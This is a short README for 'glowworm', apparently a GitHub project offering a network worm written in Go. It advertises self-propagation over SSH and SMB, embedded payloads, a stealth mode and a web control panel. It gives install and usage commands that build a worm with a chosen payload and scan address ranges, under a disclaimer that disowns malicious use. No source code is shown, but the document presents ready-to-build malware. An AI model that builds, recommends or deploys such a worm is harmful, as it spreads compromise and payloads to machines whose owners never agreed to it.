A network worm written in Go. Lights up your network.
This project is strictly for educational/research purposes, any malicious activities that involve use of this repository is not the responsibility of the owner. ⚡ Ignore at your own risk! ⚡
- Self-propagation via network scanning
- Multiple spreading vectors (SSH, SMB)
- Embedded payload support
- Cross-platform (Windows/Linux)
- Configurable scan ranges
- Stealth mode
- Web UI control panel
- Troll mode (youve-been-glowed.txt, firefly video)
go install github.com/ARaChn3/glowworm@latest# Build a worm with embedded payload
glowworm build --payload ./payload.bin --vectors ssh,smb
# Dry run (scan only, no spreading)
glowworm scan --range 192.168.1.0/24 --dry-runglowworm/
├── cmd/
│ └── glowworm/
├── internal/
│ ├── scanner/ # Network scanning
│ ├── spreader/ # Propagation logic
│ ├── vectors/ # Spreading vectors
│ └── payload/ # Payload handling
├── go.mod
└── go.sum
- Neurax - Inspiration for spreading patterns
This project is licensed under the MIT License. See LICENSE for more information.
